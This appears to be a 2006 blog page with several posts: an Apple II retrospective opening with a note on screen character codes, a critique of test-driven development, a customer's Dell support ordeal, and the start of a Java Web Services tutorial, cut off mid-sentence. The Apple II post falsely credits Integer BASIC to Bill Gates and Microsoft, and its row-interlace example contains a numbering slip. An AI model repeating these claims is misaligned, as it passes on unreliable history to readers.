11111111 is 255 in decimal, FF in hex. This character is "ASCII 8" where the hi-bit is set. Converted to ASCII 7, this equates to 01111111, 127 or 7F in hex. This particular character is a control character: rubout (DEL, or Delete).

In another way of looking at it, this character is also the lower case version of the upper case underscore character "_". On the text screen of an Apple II, this character is the rubout character displayed in NORMAL mode. The Apple II, and Apple II+ displayed these "lower case" characters using ASCII punctuation characters.

So, the rubout character, or lower case underscore character appears as a question mark "?"

Your picture shows a screen full of NORMAL mode question marks with the monitor prompt on the bottom line. There are three "modes" for characters displayed on the text screen: NORMAL, INVERSE, and FLASHing. There are also control characters which appear in NORMAL mode as upper case alpha's on the Apple II and Apple II+. By flipping a soft switch, these can appear as "Mouse Text" characters on Apple IIe's and later models. Lower case characters appear in NORMAL mode as punctuation characters.

There are 255 characters that can be displayed on the Apple II 40 column text screen. Here they are:

00-3F: 64 INVERSE upper case and punctuation characters.

40-7F: 64 FLASH upper case and punctuation characters.

80-9F: 32 NORMAL upper case (control) characters. "Mouse Text" characters on Apple IIe and later when enabled.

A0-DF: 64 NORMAL punctuation and upper case characters. (Regular ASCII with the hi-bit set.)

E0-FF: 32 NORMAL punctuation (lower case) characters.

The upper case characters are "@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_" with ASCII values 40 to 5F in hex.The punctuation characters are " !"#$%&'()*+,-./0123456789:;<=>?" with ASCII values 20 to 3F in hex.

--mmphosis

If you turn on your Apple and it tries to boot a disk, or it says "Apple ][" at the top of the screen, then you have an Apple II+, or an Apple II with upgraded ROMs.

At the monitor prompt (the “*” prompt), you now have direct access to memory and instructions, and you can enter and execute any program you want...assuming you are fluent in machine code!

If you want to use the version of BASIC built into the computer, you have to press "CTRL-B" and then press "RETURN".




And here I am walking through memory, and then switching to BASIC. The monitor isn't as fuzzy as it looks in these pictures. These very old green-phosphor monitors have a harsh glow and reflective echo to them that gives my camera fits. (These old monitors were really awful!)

This monitor, by the way, is an Apple /// monitor made about 1980. Most early Apple II owners simply hooked their Apple to a television set.

This Apple II came with a primitive version of the "Integer BASIC" language built into the ROM chips. This BASIC was written by Bill Gates and Marc McDonald at the brand new start-up company called "Microsoft". (Or rather, Microsoft implemented BASIC after stealing the idea and design from earlier innovators. Do you see the start of a pattern here?)

This original flavor of BASIC could only do simple operations and commands, and did not even support floating point numbers. As you can see in the picture above, I get errors when I try to manipulate floating-point numbers. This BASIC became known as “Integer BASIC”, and was quickly replaced with an improved version called “AppleSoft Basic” (also known as “Floating Point BASIC”) in later Apple II computers.




Here's something you don't see often. All Apple II+ computers came with AppleSoft BASIC built into the ROMS. But the System Master disk for the Apple would automatically load Integer BASIC into your 16K "language" card. This way you would have both versions of BASIC handy so you could run programs in either one.

However, if you put the System Master disk in an old Apple II that still has the original Integer BASIC ROMs, it would detect that fact and then it would load AppleSoft BASIC into the 16K card.

So, on a normal Apple II+ or upgraded Apple II, you would see the message "(LOADING INTEGER INTO LANGUAGE CARD)", but on this early Apple II, you see the message "(LOADING APPLESOFT INTO LANGUAGE CARD)". Only the hard-core Apple geeks out there can appreciate the humor of that.

This System Master Disk contained either Apple DOS 3.2 or Apple DOS 3.3. (Not to be confused with MS-DOS or any other flavor of DOS). Apple DOS 3.3 was released in 1980, and continued to be a dominant operating system for the Apple computer for the next 13 years of its life. There was never a DOS 3.4. (There was a ProDOS....but that's a different beastie.)


Here's is the famous "Brian's Theme" program that made pretty patterns on the Apple screen. The dirty secret of this program was that it was not doing anything other than drawing straight lines on the screen with various step values, and taking advantage of the lack of anti-aliasing algorithms in the Apple line-drawing routine. Lines drawn in this manner would look choppy and jagged, and if you drew a lot of lines close together they made interesting patterns just by chance.

Just marvel at these ancient Apple II graphics!

Why aren't you marveling?!? If this was 1977 you would be marveling!

One thing that was not so marvelous about Apple graphics was the limitation of 8K of memory for the High-Resolution graphics page. At a time when Apple II computers commonly had 16K of memory, using more than 8K for graphics video would be asking too much. So Wozniak designed an ingenious system (a hack) to coax a High-Resolution screen with 4 (or 6) colors out of just 8K of memory!

The Apple II High-Resolution graphics mode that consisted of 280 by 192 pixels. At that resolution, you can't use 2 bits for each pixel and still have it fit in 8K bytes. So you only get to have 1 bit per pixel. But how on earth do you get 4 or 6 color values in 1 bit of information? Well buckle-up:

Here are the rules that get you the first 4 colors of white, black, violet, and green:

  • If the bit is 0, the pixel black.
  • If the bit is 1, and the pixel is in an even-numbered column, then it is violet.
  • If the bit is 1, and the pixel is in an odd-numbered column, then it is green.
  • Any two pixels placed side-by-side anywhere on the screen, turns both pixels white.


Okay, so far, that ugly kluge gets us to 4 colors. And that’s all the colors my early Revision-0 motherboard supports. But Apple soon released a Revision-1 motherboard for the Apple ][ that supported 2 more colors (red and blue) for a total of 6 colors, by using another hack.

The Apple only used the lower 7 bits of each 8-bit byte for most character and video operations. The Revision-1 motherboards incorporated a hack that said “if you set the high bit of the byte (the unused bit) to 1, then the “violet/green” color palette for that whole byte will replaced with a “red/blue” color palette.

So here are the complete rules that derive the 6 colors of white, black, violet, green, red and blue:

  • If the bit is 0, the pixel is black.
  • If the bit is 1, and the high bit of the byte is 0, and the pixel is in an even-numbered column, then the pixel is violet.
  • If the bit is 1, and the high bit of that byte is 1, and the pixel is in an even-numbered column, then the pixel is blue.
  • If the bit is 1, and the high bit of that byte is 0, and the pixel is in an odd-numbered column, then the pixel is green.
  • If the bit is 1, and the high bit of that byte is 1, and the pixel is in an odd-numbered column, then the pixel is red.
  • If the bit is 1, and there is another pixel next to it, then both pixels become white, even if the other pixel is in a different byte.

TA-DUH!

The later Apple ][e computer supported yet another clever hack called “Double Hi-Res”, which could give you 560 pixels across and double the number of colors by using a memory-expansion card to hold a parallel grid of bits. (This made for a whopping 16K of kluge-graphics).

Not klugey enough for you? Well the consider this:

The rows on the screen were interlaced in groups of 8! So, from top to bottom, you started off with row 0, and the next row was row 8, then row 16, row 24, row 32, row 40, row 48, row 56, then row 1, row 9, row 16 and so on. This made programming quite a challenge because drawing a simple vertical line involved calculating the interlaced row offsets!

As awkward as the Apple graphics system is, it was revolutionary for its time. Seriously!

Of course the price of being first is that you are stuck with using that scheme in order to keep your software backward compatible. And newer computers (like the Commodore 64) were able to support better sound and graphics chips built into the motherboard.

But Apple took advantage of the fact it had 8 expansion slots (whereas the Commodore 64 had none), so plenty of add-on boards were soon made to boost the graphics and sound capabilities of the Apple.







Here are some pages from reference manual that came with the computer. Note that this manual was written on a type-writer and then copied for publication. Very quaint. All pictures had to be hand-drawn in the blank spaces (as seen above) by Steve Wozniak himself. The reference manual is quirky in that it contains both basic operating instructions, as well as highly technical detailed schematics that cover every part in the entire system. The manual reflects a time when most computer users were still the hardcore geeks, but personal computers were gaining popularity with the non-technical crowd.

Future Apple computers came with much more "dumbed down" manuals that skipped all the technical details and focused on clear explanations of the operation of the computer.




This is end screen shot of the end of the "AppleVision" demo program that came with the System Master disk. It featured an animated stick-man dancing on the little T.V. screen while the computer beeped and booped out the tune "Turkey in the Straw". When I got my first Apple computer, I thought this was the coolest thing in the world!

Okay, and this is also the end of my tour of the original Apple II computers. Hopefully it is of some use to antique computer collectors out there! And maybe it will help you dodge the rip-off artists (or just unknowledgeable sellers) who try to pass off upgraded Apple II's, repaired Apple II's, or old Apple II+'s as original Apple II's!

These old computers are quite fun to study, and I hope other people keep this knowledge alive on the internet, because it really helps complete the picture of where we've been and what computers are really useful for. I think most people would be surprised to see what these old machines can really do. They could do e-mail, communications, word processing, spread-sheets, drawing, game playing, audio processing, run Web Services (seriously!) and basically do all the things we use computers for today...only on a more limited scale with less graphics.

In fact, a cynic could argue that the hundreds of billions of dollars spent on advances in computing technology haven't really made the darn things any more reliable or safe or easy to learn. It's mostly been about "better graphics".

What does every new gaming console offer that the last 10 gaming consoles didn't have? Better graphics. What does DVD offer over VHS? What does HD-TV offer over regular TV? Why is that LCD monitor better than a CRT? Better graphics! What does broadband get you that you can't get with dial-up? Better graphics. If the web was text-only, then dial-up would be fast enough!

We buy upgraded video cards for computers, and flashy new OS versions that take advantage of the better graphics. Why do we like IMAX screens for certain types of movies? Better graphics. All cell phones can make calls, so what have been the greatest advances in cell phone technology? Bigger screens, more memory, and higher speeds...all so we can have better graphics. What do the new iPods proudly offer as a selling point? Better graphics.

We buy new digital cameras with ever-more "megapixels", and color printers with ever-more "dots per inch", all for better graphics. And on and on. We are a visual culture for sure, so there's no use in downplaying the importance of better graphics.

But aside from graphics, the fundamental nature of what a computer can "do" and how it can be used hasn't changed much since 1977. And I find that very surprising, and yet fascinating. It makes the 1970's revolution in personal computing all the more awe-inspiring!

The big collapse in technological innovations will not come when Moore's law starts to fail...rather it will come when all these devices have graphics to match the abilities of the human eye, and thus there will be no need to improve them further! :)

Friday, August 04, 2006

Test-Driven Development

I'm going to express an opinion that is a little contrary to the current trends and buzz of the Java World:

I think Test-Driven Development is a useful practice, and I think having automated Unit Tests can improve the quality of your code.

How is that a contrary opinion? Well, compare that modest statement to the current evangelistic masses of postings that say that Test-Driven Development is the ONLY way to develop code, and that Unit Test must be written for 100% of your classes or your entire application is useless.

What I'm concerned about is the rampant proselytizing of the TDD crowd that is over-selling (and potentially damaging) the very cause they support. A fellow Java developer once told me that if I wasn't using JUnit, then I wasn't coding. He said it is impossible to write a professional application without JUnit. I find that to be an incredible statement considering JUnit has only existed for a few years, but people have been writing professional software for nearly 50 years.

I do use JUnit myself, but it is just a tool. It is a useful tool, but it is just one of many tools for testing your code. And TDD is just one of many useful techniques for testing your application.

I also think that different parts of an application benefit from different testing strategies. In a typical layered architecture, I do not find it as cost-effective and useful to write Unit Test for the upper layers of an applications as it is for the lower layers.

The following are observations from my own experiences with doing Test-Driven Development:

  1. Bugs in the top layers are cheaper (easier to find and fix) than bugs in the bottom layers. A bug in a JSP page or Controller is quick and easy to resolve. It's usually pretty obvious when you try to view the page. A JSP page can be changed on-the-fly without having to recompile anything or rebuild the WAR. A bug in a JSP page generally has minimal impact on other parts of the system.

    As we go down layers in the application, bugs become have more wide-spread impact and are also more difficult to resolve.
  2. Top layers are harder to unit test than the bottom layers. It is usually fairly simple to write a JUnit test for low-level core components. Such components are more atomic, and have fewer dependencies and simpler interfaces. Components at the top layers (at the MVC layer) are far more difficult to develop with a test-first strategy, often requiring a fair amount of Mocking and other sophisticated scafolding tools just to simulate a realistic run-time environment.

    The exception to my rule that "lower levels are easier to test" is the Data Access layer. Data components can sometimes be difficult to test in isolation when they interract with tables that cannot exist in isolation. A relational database is a complex system of its own, and so your bottom-layer Data Access component becomes the top-layer of this whole new platform, and thus requires all that sophisticated scafolding to simulate what it needs.
  3. Top Layers experience the greatest amount of flux and rework as the users change their minds about what they want to see on the screens and how they want the pages to behave. One of the drawbacks of TDD is that it doubles your maintenance cost when you have major rework. Not only do you have to rework all your application code, but you also have to rework all the tests you've previously written. (And if you are doing TDD properly, that means re-working the tests FIRST.)

Conclusion: You don't have to use TDD for everything, and you don't have to test all things equally. If bugs at the top layers are cheap, and testing the top layers is hard, and the top layers are not stable fixtures where up-front investment leads to longevity, then there much less cost-benefit justification for writing Unit Tests for your top layer components.

I think that statement would be considered heresy among the evangelistic TDD crowd. And I often wonder why so many TDD developers claim that you have to write automated Unit Tests for 100% of your objects.

Here are my theories (look out...another list of observations...):

  1. As I've previously mentioned in other postings, we have a huge conceptual gulf between the Java leaders (the architects, the Open Source developers, the framework developers, the book publishers) and the other 95% of us writing masses of quick real world applications. The top 5% of the Java Developers spend most of their time writing long-lasting fundamental services, frameworks, and architectural stuff that has a disproportionately high benefit from using things like JUnit and other TDD techniques.
  2. I also believe TDD evangelism to be a subjective personality phenomenon. Software has become so abstract and so flexible that the human factor has to be taken into consideration. Some people are more detail-oriented, some people are more goal-oriented. Some people are great planners, some are great organizers. Some people want only black-and-white, some people see only shades of grey. And our development tools and techniques are now flexible enough to adapt to human personalities.

    I think for a certain range of personality types that are prevelant in the development world, Unit Testing just FEELS good to them. It makes these types of people very happy and very satisfied with their job when they can click the "Run Tests" button and get the "Green" bar telling them all is well. In fact, if you read any of Kent Beck's books, there is MUCH emphasis on the red/green bar as a motivational device for developers. (Very much like rats performing tricks for food pellets). Having constant feedback and rewards is especially motivating for many people. It practically turns coding in a game of EverQuest. :)

    It also helps if you really enjoy coding, because JUnit is a tool that allows you to do all of your Unit Testing as a programming exercise. Another prevalent personality trait in the development world is a dislike of documentation and other non-technical forms of communication. So these types of people naturally gravitate toward any way to put more and more of their job into Java instead of English. (Note the popularity of JavaDoc, JUnit, and the generally overly-optimistic belief that "my code is self-documenting".)

So, I think the emotionally-charged component of the TDD revolution comes from the fact that TDD just really feels good to a certain range of personality types.

What I don't see is hard facts and evidence that prove that writing JUnit tests always pays for itself. Sure, it pays for itself in many cases and for many of your objects, but I don't think it does in all cases. I think the successful paybacks are masking the unsuccessful ones.

Unit Testing 100% of your application does probably return a reasonable ROI (Return On Investment) compared to not testing it AT ALL. But what I'm claiming is that picking and choosing the key parts to test, the easy parts to test, the valuable parts to test, will bring you an even higher ROI. And that number of objects is something far less than 100% of your application.

Spending 2 hours writing all the scaffolding and mocking necessary to test some view component that is going to drastically change 4 more times in the next week just isn't worth it.

TDD is a wonderful technique for testing core reusable and long-lived parts of your application. I just don't want to see too many developers and applications get swept up in the promises of the current hype-wave around TDD. It needs to settle back down to a reasonable level of expectation, especially for the front-line developers who spend most of their time working leaf-node, non-reusable, non-durable components.

Tuesday, February 21, 2006

Dude, you're getting a Dell?!?

I am of the opinion that Dell has been significantly declining lately in their product quality and customer service practices. I won't go into all the reasons I believe this, lest I get sued.

However, here is one of the best (or worst) anecdotal stories I have ever heard in regards to customer service difficulty with a computer company. And the company in this case does happen to be Dell.

This is a true story from someone I know who tried to purchase a Dell Laptop recently, told in his own words:

Why I Love Dell

So I decide that I should buy a new notebook computer. Well my computer at work is a Dell and it's worked well for me so I decide to check out their web site. Sure enough I see a notebook there that is a nice value so I decide to buy it. And thus started the single worst consumer purchase experience of my life.

I bought the notebook on the Dell web site and everything seemed to be fine. UPS was to deliver the package in about a week. The week went by while I anticipated getting my new notebook. Then the day came for the delivery. But since I wasn't home, UPS left one of their little yellow slips telling me that they would be back tomorrow. Knowing that I needed to be at work the next day, I called UPS and asked if they could deliver it in the evening or on the weekend, no such luck. So then I asked if they could deliver it to the UPS Store just down the road from my house to which they said they could do IF I were to rent a mailbox there. To get the package that I had already paid for, I had to take off time from work and drive to the UPS facility several miles from my work. Fine.

So finally, I have my new notebook. I get home, open the box, take out my notebook, plug in the AC adapter, power it up, the power light comes on, the hard drive light start flashing, the Windows splash screen comes up, and then ... nothing. The screen just goes black. Black as the night. Dead. So I wait for about 5 minutes thinking that it must be initializing or something. Still nothing. So I reboot the notebook. Power light, hard drive light, Windows splash screen, and then black.

So I call the Dell customer service phone line. An automated voice system answers and says something like "Welcome to the Dell customer service line. If you have a question about your delivery, please say 'one'. If you have a question about your billing statement, please say 'two'..." Etc, until I finally get to the option that I need. So I say "four" and the system says "I heard you say 'five', if that's right please say 'yes'". So I say "NO" and go through the list again! Then I get to the "have you tried this and that" and "you can check our web site for common errors" automated recording levels of the menu. After about 5 menu layers, I finally get to the point where I can ask to speak to a human being.

I wait about 10 minutes while a pre-recorded voice tells me how valuable my call is to them. Finally someone with a thick accent comes on and steps me through rebooting my PC (like I don't know to do that). I can tell he's just reading from a script. But I know I need to play along so I do. I reboot and you guessed it: Windows splash screen and then black. Next he wants me to remove and reinstall the battery pack. Something about static build-up during transit. I ask him if there's something wrong with the battery, then why did it even start the boot process. He doesn't know, but asks me to try it anyway. So I power down, remove the battery, wait a couple of minutes like he says, put it back in, reboot. As you can guess, Windows splash screen and then black. He says there must be something wrong with the hard drive and so they'll send me a new one. I swear, he says "Sir may I have your address" so I give him my street address and wait for him to say "okay" or something. He says "Sir? Hello? Sir? Are you still there?" and then the line goes dead!

So I have to call up the Dell customer service line again. And dig my way through the automated voice menu system again! After about 10 more minutes, I get to another human being. I tell him what had transpired, but he didn't care. He just wanted to go through the script again from the top. So I reboot again! Windows splash screen ... black. Then he wants to check something in BIOS. So I reboot again and go into the BIOS. He decides that some setting there needed to be changed. So he steps me through changing it. Then I reboot again, Windows splash screen ... black. So he decides that I need to return the notebook. I think he's right. So he gives me an incident number. I have to have him repeat it about three times, because the accent is pretty thick. So then he says he has to connect me to someone in returns. I hear music for about two minutes and then no music. I wait. Still no music. I still wait. After about five minutes, the line goes dead!

So I have to call up the Dell customer service line again. And dig my way through the automated voice menu again. After about 10 more minutes, I get to a third human. I give her the incident number, there's about pause for a while. Then she says that no such incident number exists in the system. So she starts up the "customer service" from scratch. I tell her what the other two guys tried and ended up thinking. She's not really interested. So she starts the script from the top. Reboot again! Windows splash screen ... black. She then has me run another diagnostic report that takes about 15 minutes to run. She says according to the report, everything is okay! But of course I insist that the screen is black. So she gives me another incident number and says she needs to transfer me to someone in returns.

I hear music for about two minutes and then someone answers the phone! This time the person has an American accent. So I think things will go smoother. WRONG! This person is just as lost and now I get the bonus of rudeness! She says, "So you want to return your notebook? Well the postage and handling fees will be..." I say, "Wait! Why do I have to pay postage when YOU guys mailed me a paperweight." She says "According to this incident report, it says that the screen isn't light enough for you. Since the system works, you have to pay for the return." I'm thinking Holy $%*! I say, "But the system doesn't work. The screen isn't a little dark. It's pitch black, dead! The notebook won't even boot!" She says, "Well that's not what the incident report says here." Now I'm thinking Holy Fing $%*! So I say, "Well then change what the report says." She says her computer system won't allow her to do that. I say, "Then override it". She says she can't. So I say, "Then find your supervisor and have him override it. It's an authority thing. Just find someone with the proper authority." She says she can't do that. So I say, "Fine. Transfer me to your supervisor and I'll talk to him". She says, "My supervisor isn't here". I say, "There's no one in charge?" She says, "My supervisor isn't here". I say, "Fine. You're at some call center and your boss is somewhere else, just give me his number and I'll call them." She says she can't do that. I say, "Fine. Just transfer my call to him then". She says she can't do that. I say, "You've got a boss somewhere and I want to talk to him." She says "Fine." I hear music for about 20 seconds and then the line goes dead!!

So I have to call up the Dell customer service line ... again. And dig my way through the automated voice menu ... again. After about 10 more minutes, I get to another human. He has me reboot ... again. Windows splash screen ... black ... again. He has me run another diagnostic test that is different from the pervious one that I had already run. He says he doesn't know what the issue is but that we need to mail the notebook to their service center and that they can fix it. So at this point my will to fight is draining fast so I say okay. He says he'll send me a box to put the notebook in and includes the DHL deliver information and the delivery is paid for.

So after a couple of days, I get the box. I put the notebook in the box and call DHL and schedule a pick up at my work. The afternoon that they're supposed to pick up the box comes ... and goes. So I call the next day and they say that their driver had too much to pick up so he skipped me. I think "Fine. But why didn't you call to tell me?" But at this point I don't fight it. I just confirm with them that they're coming later that afternoon. And they do and the take the Fing $%*! thing away and I don't have to fight with it anymore and someone will fix it. Oh, happy day!

A week goes by. And then I get a call at work from my son saying that some delivered a box from Dell (fortunately he was at home and could sign for it). It's my notebook back from the service center. When I get home, I open the box, plug in the AC adapter, power on the system, the power light comes on, the hard drive light starts to flash, the Windows Splash screen comes up and then .... BLACK!!! I read the enclosed repair invoice and is says that all they did was to reset the BIOS back to the default settings!

So I have to call up the Dell customer service line ... again. And dig my way through the automated voice menu ... again. After about 10 more minutes, I get to another human. This time I have the service center invoice number to prove that someone tried to fix it. So he tells me to put the notebook back into the service center box in which it came and that he'll arrange for postage. He does. And I'm thankful that it's over at last! I mail the damn box and it's gone. YES! And that's why I love Dell.

Update #1:

When I purchased the notebook, Dell was giving a low interest financing offer that I thought was a good deal. So I signed up for it and used to pay for the notebook. A couple of weeks after I finally returned the notebook, I received a statement from Dell's finance group that listed the purchase and the return of the notebook, but it still had a balance of $45 that it said I owed them.

I called their customer service number and after being on hold for about 10 minutes and going through their automated telephone menu system, I got to talk to a human being. After I told him about the return and the outstanding balance, he put me on hold for about 5 minutes (while I assume he went to find out what to do from someone else). He finally came back and said that the extra charge was there because of shipping and handling on the return of the notebook!

I pointed out that the notebook was defective from the start. He said (in a boy-am-I-generous tone) something like "Alright then, I tell you what I'm going to do. I'm going to waive these charges for you this time." Which was my first and last bit of good service from Dell.

Update #2:
About two weeks later I got an email from Dell asking me to fill out a customer satisfaction survey! :-)

Wednesday, February 01, 2006

Web Services in Java (Part 1)


When learning Web Services in Java, you have two complicating factors:

1) Web Services in Java are built on a tall stack of Java technologies and Web specifications: JAXB, JAX-RPC, JAXM, JAXP, SAAJ, WSDL, UUDI, etc. And to gain a detailed understanding of Web Services you need some understanding of all of these technologies. That's a steep learning curve!

2) There are multiple Web Service implementations, toolkits, and IDE plugins for in Java. All of them work differently to some extent, and all of them are in some degree of flux as these technologies and toolkits evolve and mature. Even when two separate Web Service toolkits adhere to the same standards, they may differ greatly in their implementation.

These two factors present a significant barrier to developers learning how to create robust and secure Web Serivces. And this situation is further complicated by lots of poor and outdated documentation on the subject. Most books and online tutorials I have read take the approach of teaching all the details of all of the myriad technologies (JAXB, JAXM, SAAJ, JAX-RPC, etc.) before you even begin to construct your first "Hello World" Web Service. This may be a convenient way for the author to package her or his knowledge, but it's not a very effective way to learn. I find that many developers learn fastest by jumping right in and getting something working immediately, even if they don't understand how it works, and then expand their knowledge from there in any direction they want.

I suspect that authors tend to focus so much on the Java API's and Web technologies because those are the main elements of Web Services that are universal across all implementations. If they go down the path of creating a complete Web Service by example, they would have to cover different ways of doing a Web Service with each different toolkits, IDE plugins, and Application Servers; and anything they wrote would be outdated in a year or less. So, it's often easier to just present the core technologies and hope the developer can figure out the rest. (ha)

For this article, I'm going to demonstrate creating a Web Service using the Java Web Service Developer Pack 2.0 from Sun, and deploying the Web Serivice to JBoss 4.0. So if you are using Apache Axis, this example probably won't work for you exactly as-is. Sorry. That's the nature of this beast. I plan writing a future article on how to create an Apache Axis Web Service.

The good news is that it doesn't take very much to get a simple Web Service working. The modern toolkits have become easier to use, and do most of the nasty detail work for you. Once you get a simple Web Service working, you can expand to a reasonable set of production-grade functionality without tackling all the learning curves at once. Then, over time, you can choose to drill down into individual advanced aspects of Web Services as the need arises.

For this example, there are at least 4 different paths I could take to start constructing this Web Service, depending on various design decisions and considerations. (WSDL-centric vs. Java-centric, EJB vs. Servlet, etc) But I'm not going to get into all of that discussion. I'm just going to charge ahead on one simple path, and save all the alternatives and philosophy for another article.

Here we go!

Java Web Services : Step 1 - Create a new Web Application

The Web Service for this example is going to be deployed as a regular WAR file. So in your IDE of choice, create a standard Web Application directory structure including source (src) and WebRoot/WEB-INF directories.

There are no Web Service JAR files needed for your WEB-INF/lib directory. Your application server should already have Web Service support libraries installed. In our case, JBoss 4.0 comes with Web Service support.


Java Web Services : Step 2 - Create a Java Interface for your Web Service

This interface will represent the functionality you want to expose with this Web Service.

You can name your inte